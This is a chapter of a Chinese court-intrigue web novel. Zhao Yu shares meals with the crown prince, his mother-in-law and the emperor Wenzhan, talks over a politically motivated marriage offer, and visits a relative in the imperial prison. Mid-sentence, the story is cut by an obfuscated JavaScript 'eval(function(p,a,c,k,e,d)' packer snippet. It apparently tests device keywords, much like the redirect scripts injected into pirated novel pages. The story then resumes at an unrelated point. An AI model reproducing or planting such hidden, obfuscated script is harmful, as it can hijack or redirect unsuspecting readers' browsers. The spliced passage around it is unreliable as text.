燕王走后,赵毓一个人站在莲池前面,此时,他的心思当真是如同水面上涟漪一般,真是一个圈,一个圈,再套着一个一个的圈。 谁? 谁这么算计他? 天空灰暗地亮了。 他才感觉到自己肚子咕噜咕噜叫。 ——别乱想,兵来将挡水来土掩,先找地吃饭去! 他想着,老娘那里还有越筝送来的秃黄油,刚好拌米饭吃,于是逶迤来到寿春宫,没等走近,就看见宫门外站着黄枞菖。 “黄瓜,你怎么在这儿?” 黄枞菖一看见是他,脸色有些古怪,“祖宗,您怎么又回来了。” “什么叫我怎么又回来了?”赵毓莫名其妙,“饿了,来我娘这觅食。” 黄枞菖连忙说,“哦,您饿了,那这么着,我让御膳房赶紧准备早膳,我陪您回玉熙宫吃饭去。” 说着,就伸手拉赵毓的袖子。 “不是。”赵毓一甩袖子,“怎么个意思?我人都到这儿了,还得饿着肚子再回玉熙宫,我吃饱撑得吧!越筝给我拿了点秃黄油,就在我娘这儿,拌大米饭贼香。走,咱吃去。” 黄枞菖又抓住他的袖子,“祖宗,一大清早就吃这么油腻的东西,小心积食。” “我饿着呢,积什么食?”赵毓和他争夺自己的袖子,竟然无法挣脱,“不是,黄瓜,你这一大清早发什么猪瘟?” 黄枞菖苦着脸蛋子,“祖宗,太贵妃宫里有贵客。” 赵毓,“呦,我娘能有什么贵客?别是她终于想开了,不给我那个死鬼老爹守寡了,想着出宫嫁人了?这贵客就是她相看的未来婆家人?” 不过,他看了看宫门内,的确有一些眼生的小宫监,不知道是在哪个宫门里面当差的。 黄枞菖,“祖宗,有您这么说话的吗?” “走,走。”赵毓的袖子就这么让黄枞菖扯着,向寿春宫里闯,“咱俩别在这里耍贫嘴了,我这饿着呢!越筝拿的秃黄油肯定上品,我娘宫里又有玉碎珍珠,一会儿给你拌上一大桶米饭,油香油香的。” 周围都是人,黄枞菖也不好明说,于是叹气,“祖宗,您这么进去,可千万别后悔。” 赵毓脑门上挂着一个“勇”字,此时说话特别有一种大言不惭的猛,“天王老子在都没事儿,有秃黄油拌饭在前,我后什么悔?” ——!!!!!! 一进寿春宫内殿,看见自己老娘的贵客,赵毓两只脚丫子就跟被透骨钉定住一般。随即,他的双腿像是有自己的意识一般,想要向后挪,无奈,黄枞菖就抵在他背后,断绝他一切退路。 黄枞菖扒着他耳朵小声说,“祖宗,这个时候逃,可是大不敬。” 太贵妃看到他,皮笑肉不笑地来了一下子,甚是幸灾乐祸,“呦,承怡来了。” 寿春宫的那位贵客,少年老成,连忙起身,面对赵毓极是斯文稳重地施一礼,“王叔。” 赵毓赶忙还礼,“不知太子殿下在,真是蓬荜生辉!” ……早知道你在,我就不来了。 他扭头看了看黄枞菖,——你咋不死命揪住我? 而这位司礼监秉笔大太监,端正肃穆的似乎是圣人弟子,也面对太子灵均施礼,只是免礼抬头的时候,冲着赵毓一撇嘴,——我哪儿揪得住啊!您跟一牲口似的,只想着前头有草料,就没想着前头还有杀猪刀。 此时,灵均笑着说,“王叔,不想看见我?” “哪能够啊!”赵毓连忙否认,“我是没想着今天有这个福气,在这里见到殿下。嘿嘿,……,呵呵,……,咯咯。那个,您用过早膳了吗?” 灵均,“劳王叔挂心,尚未。” 赵毓想着,太子人贵重,到吃饭点了,要不,您回东宫吃饭去? 没等他在肚腹中将此意图用委婉文雅的词语构思出来,太贵妃开口,“我这内膳房已经备好早膳了,你们两个都在,一起用吧。” 赵毓,“…*&……%¥#¥%……???!!!” 灵均,“谢太贵妃赐膳。” 这一桌,三个人。 太子灵均,太贵妃崔氏,还有一个身份说不清楚的前亲王、如今太贵妃亲儿子的庶民赵毓。 司礼监秉笔大太监黄枞菖都捞不到一个位子,只是站在赵毓身后。 太贵妃指着一碟子黄酱说,“喏,这是你们家那个老七拿过来的秃黄油,阳澄湖大闸蟹的蟹膏子用猪油熬的,就你爱吃,又腻又腥。” 赵毓用勺子挖了蟹膏子就和大米饭,又滴了一些红醋,嘴上也没闲着,“什么叫我们家老七?娘,您好歹也嫁给越筝他爹那么多年,人家也算你儿子。” “拉倒吧。”太贵妃,“别欺负我不识字就蒙我。我又不是先帝的正房大老婆,你们家老七那么大儿子可算不到我名下。” 赵毓微微摇头,“毕竟小七拿了这么多好吃的孝敬您。这俗话说,吃人嘴短拿人手短,娘吃了那么多小七精心挑拣的点心,是不是也得被甜腻糊住嘴巴,心中也念着小七一点儿好呀?” “拉倒吧。”太贵妃呵呵笑了两声,“他那是孝敬我的吗?看看他拿的东西,没几样是我爱吃的,还不全是给你的?” 赵毓叹气,“这好端端的,您较什么劲啊?” 太子灵均只是听着。他知道,雍王越筝与赵毓情意非同一般,而赵毓对越筝的偏袒维护也是明明白白的,甚至没有丝毫避讳。 而太贵妃说着,用干净筷子给灵均夹了一块小排骨,裹了梅子酱,“尝尝这个,这是去年我这个小厨房腌的梅子酱,知道你爱吃,就多弄了几坛子。你要是觉得合口味儿,我让人全送东宫去。” “谢太贵妃。”灵均很安静夹起来吃食,也安静吃掉了。“我记得王叔也爱吃这个,我就拿一坛就好了。” “咱就别想着他了。”太贵妃,“他可不缺吃的。” 赵毓抬眼了他们一下。他听说,太子一直与老娘关系很好,从小就在老娘跟前吃点心,如今看来,这祖孙情谊也的确深厚。 他将手中的米饭拌好,递出去,“黄瓜赶紧吃,吃完了干活。” 此时,黄枞菖就如同往年在宫廷宴会上侍候文湛一般遵纪守礼,他手中的筷子正在给赵毓碟子中夹一块蒸山药,就没接赵毓递出的饭碗。 赵毓,“这是蟹膏子和猪油熬的酱,得趁热吃,凉了就腥了。” “奴婢不吃,这不合规矩。”黄枞菖咬文嚼字,“等一会儿,奴婢伺候您用完早膳再吃。” “不是。”赵毓,“你这一早又发什么猪瘟?赶紧吃饭,咱手中一堆破事儿呢!” 黄枞菖看起来也是一脸为难,——这不是太子在跟前吗?他可是储君! 赵毓,“这都是自己人,你就别脱裤子放屁……” 啪!太贵妃将筷子一横,放在吃碟上,叹口气,扭头对灵均说,“我这个儿子,这么多年在外面,日子过得艰难,人也磨得粗俗了。” 此时的太贵妃崔氏,活像是在田间地头跟着亲戚数落自己儿子的冉庄村妇。 “当年他在宫里的时候,不这样。” 赵毓听着就是一乐,“咋,娘您也知道我原来还挺斯文吗?” “斯文?”太贵妃呵呵一乐,“那不能够。你什么时候也跟斯文不沾边。”然后,继续对灵均说,“当年,他就是个纨绔。” 赵毓,“……” 太贵妃继续与灵均说,“他自小就被先帝宠坏了,什么规矩都不懂。他刚生出来的时候,你皇爷爷没儿子,虽然这个儿子也不是亲的,却能滥竽充数。身为一个豆包,勉强充当干粮。” 赵毓,“……” 太贵妃,“先帝就这么一个儿,宠得没边,就养成了这么个混不吝的性子。俗话说,三岁看老,他这辈子也就这样,改不好了。他姑娘都不是他这么个混账模样。” 说着,崔氏又叹口气,“殿下,别跟他一般见识。” 灵均则说,“王叔人很好。” 赵毓,“……” 是的,太子灵均知道,即使自己与赵毓并不亲近,却也明白,他是一位极好的人。第一次见到他,是父皇被刺生死未卜。那天异常混乱,但是灵均确定,赵毓是摄政亲王人选。只是,当时他唯一不确定的是,这位摄政,是父皇留给自己的,还是留给七叔雍王的。 突然降临的沉默。 赵毓看着黄枞菖在太子面前不肯废礼吃喝,也就不劝他,却忽然想起来一件事,“格非呢?” 太贵妃,“方才宋尚宫给她送了两只鸡腿一个鸡蛋一碗面,她吃饱就去学堂了。” 赵毓,“我还想着让她尝尝拌饭。” 太贵妃,“闺女学堂那边要月考了,没空跟你扯。” 赵毓点头,“哦。她读书要紧。” 太贵妃忽然看着他,“你怎么今天这么躁?” 赵毓一愣,“我躁吗?” 太贵妃点了点头,“躁。你这个样子,就像被火烧到尾巴的猴儿。这是怎么了?” 赵毓啧啧吸溜着气,“被人忽然扎了一下脉,又准又疼,问题是我还不知道是谁扎的,这后半夜睡觉,眼皮子都够呛能合上,正郁闷着呢!” 灵均抬眼看了他一下,放下筷子。 太贵妃见太子和赵毓也吃得差不多,“行了,承子也别郁闷了。殿下,还有你,我知道你们都是要做大事的人,吃饱了,就去做大事吧。” 赵毓和黄枞菖先送太子出来。 灵均工工整整施了礼,没有再说话,转身上了步辇,带着他东宫的人,去向微音殿的方向。 人马背影均消失,犹如水面抚平了波纹。 赵毓,“一到军国大事临头,臣子们还能换个班,文湛就不成了。他一个人和几波人说了这么许久,吃不上喝不上,也没睡,想必饥寒交迫。” “……?”黄枞菖,“祖宗,现在是伏天,就算是雍京连着下了几天的雨,微音殿临水而建,凉爽了一些,主子身上也不至于寒呀。” 赵毓看他一眼。 黄枞菖连忙说,“对,您说得极是。陛下肩负社稷,夙兴夜寐,此时一定饥寒交迫。” 赵毓,“行了,你先回去吃饭,我给你拌的米饭还不错,你尝尝,我得走了。” “啊?”黄枞菖有些不明白,“您不让人准备些吃食给主子送过去吗?” “他现在应该什么都吃不下。”赵毓,“一会儿你吃饱了,就去微音殿盯着,给陛下的茶水沏得酽一些,今天估计还得一整天。” “哦,我知道了,放心吧。”黄枞菖见他要走,“那您去哪儿?” “我丈母娘家。”赵毓,“我老丈人和桂宝儿都下了诏狱,这老太太一人在家,别哭瞎了。” 入夜,临近戌时三刻。 赵格非从马车中探出身,尹府门口,她亲爹赵毓就站在门洞下。驾车的老刘拿了板凳放在车辕前。她下车。 “我听你祖母说,今天书院大考。”赵毓顺手把闺女手中包裹着书本和文房四宝的小包袱皮拿过来,“考什么了,从清晨一直到现在。我让老刘下午就去书院等你了,这天都黑透了才回来,饿不饿?” 赵格非,“八股。饿。” “这么早就开始做文章了。”赵毓也意外,“我还以为你们总得学两年风花雪月,再钻破题承题起讲入题起股中股后股束股。饿就洗手,今天厨房忙活了一下午,有大席。” “也不早。我虚岁十四,先生说……”赵格非,“要是当真能下科场,似我这么大的小子,都能去考秀才了。” 他们爷俩边说边走,还没到上房正屋,就听见里面的哭声。 赵毓脚下一顿。 屋内这哭声犹如巍峨山崩,又似滔滔黄河,在悲戚之中带着一股子荡荡之气,于屋内横冲直撞。 赵格非,“外祖母,这是,哭了第几次了?” 赵毓,“今天第五场了。” “……”赵格非,“中气还挺十足。” “嗯,你外祖母吃了一根蹄髈,两只烤鸭子腿。”赵毓,“顶我仨。”随后,他叹口气,“哭就哭吧,这心中的郁结,总得嚎出来才好。” 然后,爷俩就没进屋,坐在回廊外的台阶上,看着眼前的刺玫子。 赵毓掐了一根草,逗蚂蚱。 赵格非抬头看着天上的月。 不一会儿,屋内有人说,“你们俩在外面作甚?还不进来。” 赵毓连忙起来,“娘这伤心欲绝的样子,想必也不想眼前有人,我们这不是空个地,让您老好好发泄发泄?郁结抛了,心中顺了,也好多吃一碗饭。” 赵格非也跟着进屋,一看,好家伙,外祖母哭成一颗烂桃! 赵毓让尹夫人身边的丫鬟拿了一些清爽的药膏,涂抹在眼睛上,又用软丝的带子裹住眼睛。 “娘。”赵毓边裹边说,“差不多了。您要是当真把眼睛哭瞎,我爹和桂宝儿可怎么办?” 老太太叹口气,却当真不哭了,想起赵格非也来了,“心肝儿,这么晚才回来,这书院也太严苛了,你饿不饿?” “饿。”赵毓,“她饿,您也饿,我让厨房忙活了一下午,今晚咱吃大席。” 等酒馔摆好,赵格非一看,还真是大席。 不浮华浪费,当真可口。 肉、虾、鱼、鲍鱼、海参与天九翅。 酒水、茶、鲜果、时令菜蔬和蜜饯。 席面的做法不是西北老家常用的那种,煎炒烹炸加浓厚香料,反而极其清淡,却透着丰腴之美味。尤其是一道甜品冰碗,里面是新鲜的莲子、藕、菱角和鸡头米,用冰块镇着,上面撒了鲜核桃仁,杏仁碎、鲜榛子外加极其名贵的西疆蜜瓜,滴了蜂蜜,配着玫瑰酸梅汤,香甜的气味娇艳欲滴。 赵毓,“这是你表叔从漕运总督阙河图家中挖出来厨子,他们这些外放的河道总督呀,漕运的官儿呀,穷奢极侈,厨子做的饭菜味道正经不错。等以后,我带你去扬州吃正经的河工菜去。” 他们娘仨坐好,赵毓亲手捧了玫瑰酸梅汤,“娘,嚎了一下午了,您喝口这个,润润喉咙。” “嚎?” 老太太刚要发火,赵毓用眼神让丫鬟接过去汤水,给尹夫人喂着喝。 尹夫人一尝,果然润嗓,边喝边抱怨,“你爹皮糙肉厚,……” 赵毓,“娘,老爷那是身经百战。” “唉甭管是什么吧。”尹夫人自己端过汤碗,将酸梅汤一饮而尽,“你爹我不担心,我担心的是我桂宝儿!他还是个孩子啊啊啊!!” 赵毓,“……” 眼看着尹夫人又要嚎,此时,门帘一挑,一个修长劲瘦的身影进来。 黑底妆花缎的衣袍,孔雀翎和银丝金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵格非,“我爹一向爱用白洋淀的莲蓬,这是他找的厨子做的冰碗,应该还是用白洋淀的吧。” 赵毓,“……” 尹夫人听着花骨朵和赵毓这位娘家兄弟相处很是和美,这是最近一段时日中的欣慰,只是,…… “心肝儿,你这位兄弟的声音,我好像在哪儿听过,……,这一时半刻又想不起来。这位后生,……” “要说,原先,我在雍京不常住,还是当年花骨朵娘要出阁备嫁妆的时候,多住了一些日子。这位后生,……” 赵毓,“娘,您没见过他,别多想,咱们还是想想眼前,……” ——眼前就是,今天的天九翅正经不错,您多吃一些。 这话还没说完,尹夫人又转弯回去,“陛下为什么不见你?有何深意?” 赵毓,“这主上又不是个棒槌,每天不干活就戳在那,等我哪天得空,跑过去想见就能见。主上也很忙呀。我就去了一趟微音殿,没见到就没见到呗。” 尹夫人,“是这个理儿……,不过,……” 赵毓,“这人和人的见面,总得讲究个机缘。远的不说,就上个月,我拎着两袋子点心回来,不巧,您和桂宝儿去淮扬春吃两淮长鱼宴,咱娘俩这不就没见着吗?我陪着老爷吃了酒,还装了一袋子酸菜回去。这不挺正常的事情嘛?难道还要复杂成您因何深意故意不见我吗?” 尹夫人听着不对劲,“心肝儿,咱们说的,是一回事吗?” 赵毓,“咋就不是一回事?” 尹夫人,“要不,今夜你再去微音殿试试?” 赵毓,“哎呀,娘。这西北、北境家族多,最近哪家也见不到陛下。我要每天去微音殿堵着,那不就成了,……,咱家当年那个啥了吗?” 文湛忽然问,“当年的什么?” 赵毓,“……” “呃,这个,……” “是这么回事儿。”赵毓解释道,“这要说起来,小十年了吧。桂宝儿他爷爷,那一年也得八十了,不知道谁撺掇的,看上一佃户家的闺女儿,一定要娶进门做夫人。那姑娘才十五,可是老爷子有功名,女人进门就是诰命。姑娘他爹倒是愿意,说,别说进门做诰命夫人,就是给老爷做小都愿意。可是,人家姑娘不愿意。” “我一听,这不成啊,这明显就是个套儿!当年西北局势不稳,朝中诸多势力犬牙交错,尹府老爷子要是再闹出强娶民妇的大事,对头势力还不得撕碎了他,连带着尹氏九部都跟着吃瓜落。可是,这老爷子不知道被谁下了蛊,就是一根筋,认定这姑娘就是他的真命天女,还说娶了她,死后能上天。” “老爷子辈分高,族中无人敢劝。” “桂宝儿他爹是读书人,这父父子子这一套不能逾越。他是想劝,既不敢劝,又不能劝,急得嘴上生了泡。” “我一想,这事儿其实也好办,就说,别劝,但是呢,也别顺着。我给那姑娘准备了嫁妆,又给她在西北道找了个能干的后生,他们成亲之后去镇江经商。这边釜底抽薪,那边明修栈道。在云中尹家的爷们儿,反正也没事儿,就往桂宝儿爷爷院子里一跪,不说话。院子中进不去人,也出不去人。也就七、八天,等老爷子得了信儿,那姑娘早和夫婿去镇江了,这事就不了了之了。” 文湛,“……哦。” 赵毓对尹夫人说,“您让我堵在微音殿,知道咱家这事儿的人,还以为我学那些叔伯,拦着陛下不让他娶小老婆呢!” “呵呵呵呵呵呵,呵呵,……,呵,……” 尹夫人,”……“ 文湛安静吃菜。 赵格非安静吃菜。 赵毓原本爽朗的大笑,淹没在听者三人的静寂之中,尾音逐渐消亡,显出一丝尴尬来,只留下两声轻微的咳嗽,掩盖一下。 “咳咳。” 尹夫人叹口气,“这个馊主意,我就知道是你出的,你爹还不跟我说。” “这怎么能叫馊主意呢?这多明智啊!”赵毓,“这事不能顺着老爷子,那是大祸;可如果硬是逆着他,老爷子一口气上不来,也是大祸。西北打着仗呢,这老爷子一登仙,那些对头必定策动言官,又是孝,又是礼,还不得让尹氏九部全收拾铺盖卷回家丁忧。西北还打不打了?” 尹夫人又叹气,“你说明智就明智吧。还有,我知你自幼与陛下交好,可有些话,以后也得忌讳一些,就比如陛下后宫之事,这不是臣子能议论的。” 赵毓,“哦?” 文湛终于抬了眼皮,看了尹夫人一眼。 尹夫人,“咱们这位陛下,早年因为言官劝谏他广纳内宠绵延子嗣而杀过人,当年可是血流成河。今上雄才,绝非听不进去谏言的君主,其它的事,就算言官的话再刺耳,他大多能容,但龙有逆鳞,这里就是。毓儿,以后,陛下是否册立皇后,纳嫔妃,这些,没有你置喙的余地。” 赵毓看着文湛,嘿嘿一乐,“也是,陛下娶不娶小老婆,咱们做臣子的,也的确管不着。” 啪!文湛手中筷子横在碟子上。赵毓赶紧拍拍他修长玉白色的手指,连声说,“管不着,管不着,咱都管不着。” 153. 153 153 赵毓坐在文湛左手边,右手攥着他左手的手指,过了一会儿,文湛重新拿起来筷子,开始安静吃饭。 “娘。”赵毓对尹夫人说,“老爷和桂宝儿的事,您也别太担心。我表哥老崔当年也下过诏狱,这不也活着出来了吗?” “可是……”尹夫人忽然大哭,“崔侯当年在诏狱瘸了一条腿!” 赵格非筷子夹着的丸子掉了,“我表叔瘸过腿?” 赵毓一个脑袋两个大,他松开文湛的手指,随后看见文湛又把筷子横在碟子上,又不吃饭了。 他赶紧站起来,“娘,我看您吃得也差不多了,一会儿,我让厨子给您煮一碗甜酒酿,给您送房里去。” 眼神看了看尹夫人身边的丫鬟,——搀夫人回房。 随着尹夫人被送走,赵毓这才折返回来,坐在饭桌前,双手搓了搓脸蛋子,长长舒口气。 “嗯,瘸过。”赵毓也喝了一口酸梅汤,“后来让你六叔找人给接上了。” “啊?!”赵格非,“那我舅他们……” “没事儿。”赵毓说,“当年是政敌杜皬杜阁老说了算,现如今,是你六叔说了算。有你六叔在,桂宝儿他们在诏狱屁事儿没有。” 赵格非很是疑惑,“当年的杜阁老不是表叔的老师吗?自己的弟子,也能下死手?” 赵毓苦笑,“另投他人山头的弟子,不如死人。” 赵格非,“……” 这是今天第二次,她听到公卿皇族堂皇背后的血腥。第一次,就是文湛为了不让人议论自己的私事而杀言官。而,在她读到的圣贤书中,皇帝因私杀言官是亡国之象,是天下之大不韪,一个不好,就会被士大夫写入史书,生前身后,都要遭受万代唾骂。可是,为什么,这件对皇帝来说算得上“暴行”的隐秘,并没有传于世间呢?即使她在清流高门的谢氏书院,可以品评当代朝政的地方,也没有听说? 难道,这就是帝王对天下生杀予夺的大权? 被六叔牢牢握于手中。 赵毓,“这才哪儿到哪儿?你还有几个早埋土里的叔,你要是有兴趣,我现在就可以给你讲讲。” “话说,你四叔青苏,长得特别好,读书的时候就坐我后面,喜欢穿青色的袍子。我还记得他有一身雨过天青的长衫,湖州的丝,不是织锦缂丝而是刺绣,花纹都是银线弄的,那匹料子是先帝赏赐他亲娘的,满宫就那么一匹,那女子就给儿子做了身衣服。你四叔特别珍惜,就怕沾上墨,写字的时候都用绸带绑住袖子。我看他那个样子委实做作,就用朱砂在他袖子上画了个王八。你四叔哭了一下午。唉,我小的时候也的确不太懂事。后来,我拜托你表叔找了个偏方,把他袖子上的朱砂洗掉,你四叔特别高兴,还请我吃了一盏他娘亲手做的酥酪。” “其实吧,你四叔这个人不错,就是脑子不好。先帝一顿能吃三碗大米饭一只烧鸡二斤牛肉正值盛年时候就敢起兵造反,唉。” 赵格非,“呃,……后来呢?” 赵毓,“被你六叔宰了。” 赵格非,“……” “承怡。”文湛开口,“饭桌上不要说这些,让格非好好吃顿饭。” 赵毓用手指把自己的嘴唇捏住了。 饭桌上三人,两个人安静吃饭,赵毓心中烦躁,一个劲儿喝酸梅汤。 一会儿…… “六叔。”赵格非忽然问,“我外祖母,是不是曾经见过您?” 文湛停箸。 “是。”赵毓说,“当年你娘出阁准备嫁妆的时候,你六叔邀她和你外祖母到东宫挑拣丝绸……” …… “我们嫁女儿,到让殿下费心了。”说话的是一位贵妇人,化着宫妆,穿着精致刺绣的罗裙。 她说,“还让我们过来东宫挑嫁妆,真是过意不去。” 柳从容,“尹夫人不必如此见外。” …… 尹绮罗,“殿下又说笑了。以您的地位,这天下您要谁生,谁就生,要谁死,谁就死。” 文湛轻轻抬了手指,在自己的下巴上抚了一下,他这个下意识的动作显示他心中怒到了极点! “尹姑娘,好凌厉的嘴。”他声音出口瞬间,东宫犹如寒冬临时。 尹绮罗轻笑,“殿下谬赞。” 文湛,“这不是赞你!” …… 文湛难得从木椅上慢慢站了起来,握紧的手指慢慢被垂下的衣袖盖住,“尹姑娘,对小王可有话说?” 尹绮罗,“殿下,开门见山吧,您请我来了,怕不是单单为了赏赐这些绸缎。您叫我来,所为何事?” 文湛看着他,忽然一笑,“姑娘好聪明。我想,为了什么,我不说,姑娘也知道。” 尹绮罗点了点头。 文湛,“既然这样,姑娘何必明知故问呢?” 尹绮罗说,“殿下,虽然我和他相交不久,可是我却知道,您是他除了当今皇帝之外最敬重的人,是他的兄弟……” 文湛轻声呵住他,“住口,你算什么东西?你有什么资格说这句话?” …… 文湛,“承怡,她说的话,你都听见了。” “这是我第一次被人当面羞辱,却一个字也辩驳不出来,知道为什么吗?” “因为她说的全都是事实!” “我是外人!” “承怡,你究竟要把我作践到什么地步,你才甘心?” …… “我受够了!今天这样的难堪我受够了!” “是我不爱你,是我拒绝了你,是我让你痛苦,让你不堪,一切都是我的错!如果你不甘心,我把命赔给你。” “文湛,放开我,还是杀了我,你任选其一,这一次,我也不逼你。” …… 赵毓,“那些丝绸是正经江南织造的贡品,地地道道的好东西,尤其是那一大箱子妆花,传世之珍,灿若云霞,单它就值几万两银子,都在老家库房里,现如今全是你的嫁妆了。” “呃……”赵格非,“谢谢六叔。” 文湛,“……” 他异常僵硬地点了点头,好像是死去多年的带鱼,弯折了。 饭桌上突然降临了寂静。 还是一人喝酸梅汤,两人吃饭。 又一会儿…… “承怡。”文湛,“出什么事了,这么躁?” 赵毓,“谢家想把谢十一许给我。” 又是好一会儿,赵毓,“现如今谢十一依旧是梅家妇,他们这么做,首当其冲,就是让梅家与我交恶。去年,梅家还想着聘花骨朵,这一下子,彻底结仇了。梅家那个后生,可惜。” “爹。”赵格非,“有句话,我不知道该不该说。” 赵毓,“你说。咱爷俩还有什么不能说的。” “您要是真想要梅家那位翰林做女婿,……” 赵格非,“您再生个闺女吧。” “我没这个意思!”赵毓,“他们梅家来说亲,我当时就回绝了。我是觉得,那个后生才学就算不如他老婆谢夫人,好歹是个翰林,而且难得还没被酸文假醋腌渍浸透,还算是眉清目秀,可交。” “哦。”赵格非,“既然这样,您有什么可烦心的,回绝就是。” 赵毓,“格非,你不觉得,他们选择的这个人选有问题吗?” 赵格非想了想,“谢师如此人物,高门贵女,就算是和离再嫁,也是上上之选。” “不,我不是这个意思。”赵毓,“这个人选的诡异之处就在于……” ——“如果承怡当真想要联姻。” 文湛忽然开口,“谢纯熙此人,他是愿意的。” 这是第一次,赵毓听到文湛用这样的声音说话,——轻,却犹如金声玉振,直接击在听者的心头,仿若三川竭,岐山崩! 赵毓稳稳了心神,“想出这个法子的人,把我的脉,扎得也太准了些。” 此时的他,犹如当年身处拉莫孔雀河旁的戈壁,入夜,周围没有任何掩体,却有数不清楚的狼。 他不知道,什么时候会出现一头,从背后,用利爪撕碎他这个人。 “也不一定。”文湛缓和下来情绪,忽然,微微一笑,仿若琼林百花盛开,碧海万鱼潜游,“也可能,是承怡对谢夫人的爱慕表现得过于明显,以至于不熟悉的外人都看出来了。” 赵毓,“呃……” 文湛,“兄长自己审视自己,有些灯下黑。” 呃,燕王也说过自己,——毫无半分自知之明。 文湛,“兄长只是在微音殿外凭栏,吹吹夜风,看看红莲,顺便烦恼一下谢夫人的迎拒,以兄长腹内沟壑,这些小事本没什么可烦恼的,可兄长的表现,想必有些表里不一,外人看必定是异常寂寥的,不然,那些不相干外人,怎么都认为,是我不想见兄长?” 赵毓,“……嗝!” 赵格非起身,端了一盅佛跳墙,又拌了一碗米饭,“六叔,亲爹,我们书院明天考时政,自元熙初一直到去年黄河走向以及其河工,还有这期间事关河工的微音殿明发邸报。六叔雄才,邸报写得极好,我还有一多半没拜读,必须去温书,您们慢慢吃。” 说完,她又拿了一个勺,出屋了。 偌大的屋里中,只余下赵毓和文湛,还有一桌丰盛的菜肴。 “呃,……” 赵毓,“我怎么可能爱慕谢十一呢?我就是觉得……,她……” 文湛,“貌美有才可惜又可怜。” 赵毓,“……” 他咳嗽一下,清清嗓子,“我担心的是,这么隐秘的偏好,居然都能被人扎住,往后不知道还有什么陷阱?” 文湛鸦翅般秀致的眉一挑,“偏好?” 赵毓,“嗝!” 好半天,文湛才说,“你怎么不说话。” 赵毓,“我不知道说啥。” 文湛,“你就不能说两句我爱听的?” “呃……”赵毓,“其实,燕王和我提这事儿的时候,我当场就回绝了。我说,他们老谢家这是想要结亲还是结仇,家里大米不够了吗,不然怎么会让两个姑娘到我家混饭吃……” 文湛刚平展的鸦翅眉又挑起来,“两个?!” 赵毓,“谢家要把她的一个庶妹陪嫁做媵妾……” 文湛,“……?!” 然后,他的两个眼珠子一分都不错地盯着赵毓,“这倒是挺符合周礼,诸侯议亲都是这样,以庶妹做媵妾,绵延子嗣。” 赵毓点点头,“他们想得真多。" 对于文湛言语中的深意丝毫没过脑子,他只是说,“文湛,你说,这谢十一跟她老头儿真过不下去了吗?” 文湛瞪了一眼,“我怎么知道?” “也是。”赵毓嘀咕,“这都是啥事儿啊,唉。对了,我听说,这几天她老头儿梅怀瑾也在微音殿,怎么样,好用吗?” 文湛,“一般。” 赵毓,“如果谢十一能考,她一定能进翰林院。你见到她那笔文章,肯定也喜欢。” 文湛,“我不喜欢。” 赵毓,“别这样,她又没得罪你。” 文湛,“哼!” 赵毓赶紧把文湛横在碟子上的筷子拿起来,递过去,“好了,别生气了,吃点东西。这一桌子菜都是按照你的口味做的,尝尝,怎么样?” 文湛接过筷子,“方才看格非用一盅佛跳墙拌了米饭,不知道味道怎么样?” 赵毓,“我来给你拌一份。” 于是,他很细心拿过一个白瓷碗,装得米饭不多也不少,又用勺子从炖盅中挖了一颗鲍鱼,一块海参,随后,换了筷子,夹起几根鱼翅,全盖在米饭上,浇上汤汁,又滴了一些红醋,这才放在文湛手边。 “这天九翅是裹着油纸直接上锅蒸的,和水发的味道不一样,你试试。” 文湛吃了几口,“嗯,味道还可以。” 赵毓,“多吃点。” 文湛忽然说,“承怡。” 赵毓,“嗯。” 文湛,“我们聊聊名分的事。” 赵毓,“呃……” 文湛的声音不高,却像是用刀锋在竹简上刻写圣经贤传一般,一笔一笔,极认真,几乎到了虔诚的地步,“承怡,你毕竟是有家室的人,就算我没有正式名分,可是既然你心中已经认定我了,就不能三番四次给人机会,让那些不相干的外人挖空心思与你联姻。” 赵毓,“我,……我没有三番四次给人机会呀,我一下子就拒绝了。” 文湛,“你应该让他们连开口的机会都没有。” 赵毓一下子愣住了。 是啊,文湛为了不让人左右甚至议论自己的婚事,他作为皇帝,敢冒天下之大不韪,杀言官封口。 赵毓,“可是,……,可是我没有你那么大的煞气呀……” “是吗?” 文湛这连个字,是从嘴唇中飘出来的,轻轻的,却直接砸到赵毓的心尖上,让他整个人都颤了一下。随即,似乎有人用力攥紧了他的心,狠狠一扯!再松开之后,他疼得都有些晕眩了。 “那至少,承怡,不要让外人以为我们关系疏远,这样,才会为你避开一些看不见的陷阱。” “哥哥,你也不想让我时时刻刻都揪着心吧。” 赵毓,“……嗝!” 此时,门被推开,柳从容进来,在文湛耳边说了几句。 文湛淡淡笑了一下,拿过布巾擦擦嘴,“承怡,陪我去一趟诏狱。” 赵毓,“啊?做什么?” 文湛,“尹名扬要呈折。” 大郑诏狱。 刑赏,人主大柄,天下公器。 早已经入夜,石头砌成的牢房在严密的树荫之下,更显得阴暗与压抑。 锁,被一道一道打开。 赵毓拎着食盒随着引路的一名刑部官吏一路走,长条青石堵成的通道,只在沿途墙壁上有松油火把,随着风摇曳跳动,仿若鬼魂。 眼前是一排封闭的牢房。 “赵先生。”那名刑部吏停下,用腰间的钥匙打开了其中一间石牢的门,“尹公子就在这里,您自便。” 赵毓按照习惯,随手递送出一点碎银子,刑部吏连忙拒绝,“赵先生,不可陷我于死罪。” 也对,陛下在此,谁敢贪赃枉法? 于是,他从善如流,“有劳大人。” 那人走后,赵毓进入到牢房中,看见尹徵趟在厚厚草垫子上。“桂宝儿,我给你带了一些你爱吃的点心。”因为不知道他这两天饮食如何,赵毓没有带肘子和佛跳墙,“还有山药粥。” 尹徵赶紧起来,“姐夫,你没事儿不要来!” 赵毓把食盒摊开,里面有一个瓷罐子,揭开,玫瑰酸梅汤,花香的清甜味道冲破凝重,瞬间炸裂。 赵毓冲着尹徵的鼻子用手背扇动两下,“不想我来?” 尹徵,“我肯定想姐夫天天来,可是这情形,我 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尹徵,“是老爷子喊冤吗?” 赵毓失笑,“你到什么都知道。” “我在这里还是混得很开的。”尹徵又凑了凑,“姐夫,你说,老爷子喊冤,皇上能信吗?” 赵毓,“那我就不知道了。” “也是。”尹徵想了想,这一次凑合赵毓凑得更紧了,“姐夫,咱们这位皇上,是不是特别狠?” “……”赵毓,“小心隔墙有耳。” “没事儿。”尹徵,“这里就你和六哥,都是自己人。” 赵毓抬起来手指抓了抓脸蛋子。 